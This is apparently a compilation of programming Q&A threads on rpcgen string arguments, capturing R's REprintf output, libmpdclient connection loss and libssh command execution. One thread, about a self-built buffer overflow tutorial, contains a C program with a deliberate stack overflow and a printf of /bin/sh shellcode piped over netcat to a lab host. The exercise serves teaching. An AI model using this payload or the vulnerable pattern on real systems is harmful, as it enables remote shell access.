I'm having trouble running the simplest RPC program. I want a program that will send a string from the client to a server and the server send the string back to the client. This is the echo.x:
program ECHO_PROG{
version ECHO_VERS{
string ECHO(string) = 1;
} = 1;
} = 0x22233323;
After runnning rpcgen -a -C echo.x, I make the program and then I try to run
./echo_server &
./echo_client localhost
and I get the error :
call failed: RPC: Can't encode arguments.
Am I declaring the correct argument types in the .x file? Why am I getting that error? If I want to send a string to the server and have it echoed back am I approaching the problem correctly? I understand how to create an RPC that will return an int but returning a string is confounding me deeply. Please help if you're out there!
Probably not happy returning a string... try this:
program ECHO_PROG{
version ECHO_VERS{
int ECHO(string) = 1;
} = 1;
} = 0x22233323;
of course if the whole point is to return a string then you need to do some work -- I believe you have to wrap it in a custom type.
Related
In a script I often call the function Rcplex(), which prints "CPLEX environment opened" and "Closed CPLEX environment" to the console. Since the function is called rather frequently, it prints this very often, which is quite annoying. Is there a way to suppress this? I tried sink(), suppressWarnings/Messages or invisible(catch.output()) but none of these did the trick. I proceeded to check the code of Rcplex() and found where the printing to the console happens. Rcplex() calls an underlying C-function (Rcplex.c). In the code of rcplex.c I located the commands which cause the printing:
REprintf("CPLEX environment opened\n");
REprintf("Closed CPLEX environment\n");
Is there a way to capture the output from REprintf() so that it does not get printed to the R-console? One way would obviously be to mess around with the Rcplex.c file and delete the corresponding lines. However, this would not be a very clean solution, which is why I'm asking for another way to capture the output from C-functions.
You had problems using sink() and capture.output() normally because sink() does not redirect output from REprintf, as we see in comments from the source code for REprintf:
/* =========
* Printing:
* =========
*
* All printing in R is done via the functions Rprintf and REprintf
* or their (v) versions Rvprintf and REvprintf.
* These routines work exactly like (v)printf(3). Rprintf writes to
* ``standard output''. It is redirected by the sink() function,
* and is suitable for ordinary output. REprintf writes to
* ``standard error'' and is useful for error messages and warnings.
* It is not redirected by sink().
However, we can use type = "message" to deal with this; from help("capture.output"):
Messages sent to stderr() (including those from message, warning and
stop) are captured by type = "message". Note that this can be "unsafe" and should only be used with care.
First I make a C++ function with the same behavior you're dealing with:
#include <Rcpp.h>
using namespace Rcpp;
// [[Rcpp::export]]
NumericVector example_function(NumericVector x) {
REprintf("CPLEX environment opened\n");
REprintf("Closed CPLEX environment\n");
// As mentioned by Dirk Eddelbuettel in the comments,
// Rcpp::Rcerr goes into the same REprintf() stream:
Rcerr << "Some more stuff\n";
return x;
}
If I call it from R normally, I get:
example_function(42)
CPLEX environment opened
Closed CPLEX environment
Some more stuff
[1] 42
However, I could instead do this:
invisible(capture.output(example_function(42), type = "message"))
[1] 42
And while the output is is printed to the console, the message is not.
Warning
I would be remiss if I didn't mention the warning from the help file I quoted above:
Note that this can be "unsafe" and should only be used with care.
The reason is that this will eliminate all output from actual errors as well. Consider the following:
> log("A")
Error in log("A") : non-numeric argument to mathematical function
> invisible(capture.output(log("A"), type = "message"))
>
You may or may not want to therefore send the captured output to a text file in case you have to diagnose something that went wrong. For example:
invisible(capture.output(log("A"), type = "message", file = "example.txt"))
Then I don't have to see the message in the console, but if I need to check example.txt afterward, the message is there:
Error in log("A") : non-numeric argument to mathematical function
I'm trying to make a simple buffer overflow tutorial that runs the program below as a service on port 8000 via xinetd. Code was compiled using
gcc -o bof bof.c -fno-stack-protector
ubuntu has stack protection turned off as well.
Exploiting locally i.e
python -c ---snippet--- | ./bof
is successful and the hidden function was executed, displaying text file contents.
However, running it as a service and performing
python -c ---snippet--- | nc localhost 8000
returns nothing when exploiting. Am I missing something here?
#include <stdio.h>
void secret()
{
int c;
FILE *file;
file = fopen("congratulations.txt", "r");
if (file) {
while ((c= getc(file)) !=EOF)
putchar(c);
fclose(file);
}
void textdisplay()
{
char buffer[56];
scanf("%s", buffer);
printf("You entered: %s\n", buffer);
}
int main()
{
textdisplay();
return 0;
}
Output is buffered by default. To disable this you can do the following at the top of main:
setbuf(stdin, NULL);
This should fix your issue.
This is an issue that I am running into as well. Almost exactly the same.
However, here is one piece that I have found out that might be helpful to you. I believe the issue has something to do with xinetd not executing the binary as a terminal and having job control.
So what I did was to have xinetd do:
server = /usr/bin/python
server_args = /opt/shell.py
Then within the /opt/shell.py I had:
import pty
pty.spawn("/opt/oflow.elf")
/opt/oflow.elf being my overflowed binary
When I do this, I can actually send and receive data. Thats when I run the following command via netcat to try and overflow the service remotely:
**printf "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAABCDEFGHIJKLMNOPQ\x7c\xfc\xff\xbf" | nc 192.168.1.2 9000**
This does nothing. However, I test the local version and it works PERFECTLY. Works every time.
Not when its being wrapped in a python pty and xinetd.
When I run the xinetd pointing directly to /opt/oflow.elf, I get absolutely nothing back from netcat.
So that doesn't exactly answer your question but it should whittle it down for you.
UPDATED COMPLETE ANSWER:
I figured out why this wasnt working. No need to use python at all. After every printf statement you must also include:
fflush(stdout);
Otherwise, xinetd doesnt know to send the stdout.
You may also need to do this for stdin:
fflush(stdin);
I am trying to understand basics of RPC using RPCGen. I followed a basic tutorial and wrote the follwing myrpc.x file
program MESSAGEPROG {
version EVALMESSAGEVERS {
int EVALMESSAGE(string) = 1;
} = 1;
} = 0x20000002;
I compile it by running
rpcgen -a -C myrpc.x
In the resulting server.c file, I added a printf statement as below
printf("Message is: %s,\n", *argp);
Then i run make -f Makefile.myrpc and start the server by running myrpc_server. Now when i run the client 'myrpc_client', I get the following message printed in the server
Message is: H���5�
Now my question is from where does this argument come from "H���5�" as this is not the argument which i am when running the client? Also can someone explain me how do i start running complex programs with rpcgen?
The garbage value is from code on line 15 in client.c, where is uninitialized variable used as an argument for your rpc call. My version of rpc show an error:
call failed: RPC: Can't encode arguments"
15 char * evalmessage_1_arg;
"How do I start running complex programs with rpc?" It' just on you. We cannot say when you need to use rpc. You probably have some reason for what you chose this implementation.
Some use case for rpc is thin client on slow computer, which needs some expensive computation. Client sends data to powerful server, that do the hard work and returns result.
I'm writing a plugin for my statusbar to print MPD state, currently using the libmpdclient library. It has to be robust to properly handle lost connections in case MPD is restarted, but simple checking with mpd_connection_get_error on existing mpd_connection object does not work – it can detect the error only when the initial mpd_connection_new fails.
This is a simplified code I'm working with:
#include <stdio.h>
#include <unistd.h>
#include <mpd/client.h>
int main(void) {
struct mpd_connection* m_connection = NULL;
struct mpd_status* m_status = NULL;
char* m_state_str;
m_connection = mpd_connection_new(NULL, 0, 30000);
while (1) {
// this check works only on start up (i.e. when mpd_connection_new failed),
// not when the connection is lost later
if (mpd_connection_get_error(m_connection) != MPD_ERROR_SUCCESS) {
fprintf(stderr, "Could not connect to MPD: %s\n", mpd_connection_get_error_message(m_connection));
mpd_connection_free(m_connection);
m_connection = NULL;
}
m_status = mpd_run_status(m_connection);
if (mpd_status_get_state(m_status) == MPD_STATE_PLAY) {
m_state_str = "playing";
} else if (mpd_status_get_state(m_status) == MPD_STATE_STOP) {
m_state_str = "stopped";
} else if (mpd_status_get_state(m_status) == MPD_STATE_PAUSE) {
m_state_str = "paused";
} else {
m_state_str = "unknown";
}
printf("MPD state: %s\n", m_state_str);
sleep(1);
}
}
When MPD is stopped during the execution of the above program, it segfaults with:
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x00007fb2fd9557e0 in mpd_status_get_state () from /usr/lib/libmpdclient.so.2
The only way I can think of to make the program safe is to establish a new connection in every iteration, which I was hoping to avoid. But then what if the connection is lost between individual calls to libmpdclient functions? How often, and more importantly how exactly, should I check if the connection is still alive?
The only way I could find that really works (beyond reestablishing a connection with each run) is using the idle command. If mpd_recv_idle (or mpd_run_idle) returns 0, it is an error condition, and you can take that as a cue to free your connection and run from there.
It's not a perfect solution, but it does let you keep a live connection between runs, and it helps you avoid segfaults (though I don't think you can completely avoid them, because if you send a command and mpd is killed before you recv it, I'm pretty sure the library still segfaults). I'm not sure if there is a better solution. It would be fantastic if there was a reliable way to detect if your connection was still alive via the API, but I can't find anything of the sort. It doesn't seem like libmpdclient is well-built for very long-lived connections that have to deal with mpd instances that go up and down over time.
Another lower-level option is to use sockets to interact with MPD through its protocol directly, though in doing that you'd likely reimplement much of libmpdclient itself anyway.
EDIT: Unfortunately, the idle command does block until something happens, and can sit blocking for as long as a single audio track will last, so if you need your program to do other things in the interim, you have to find a way to implement it asynchronously or in another thread.
Assuming "conn" is a connection created with "mpd_connection_new":
if (mpd_connection_get_error(conn) == MPD_ERROR_CLOSED) {
// mpd_connection_get_error_message(conn)
// will return "Connection closed by the server"
}
You can run this check after almost any libmpdclient call, including "mpd_recv_idle" or (as per your example) "mpd_run_status".
I'm using libmpdclient 2.18, and this certainly works for me.
Having read the relevant docs and tutorials and found a similar question, I am still unable to proceed. My aplogies in advance if this is a common question. I did searches but I wasn't really sure what I was looking for...
I am experimenting with the Libssh for C in Debian.
rc = ssh_channel_request_exec(channel, "ls -l");
if (rc != SSH_OK) {
ssh_channel_close(channel);
ssh_channel_free(channel);
return rc;
}
This returns SSH_OK to state that the command was sent successfully. As I understand from a similar question this is because the return listens for the successful 'sending' of the command. The return does not listen to see if it has been successfully executed.
My questions is, how can I:
Execute the command (which by the above function presently does not execute it merely sends the command)
Listen for it's execution
print the returning output?
I am aware of the ssh_channel_read() function but as the command never executes, I usually get the output
Read (256) buffered : 0 bytes. Window: 64000
Take a look at examples/exec.c in the libssh source code!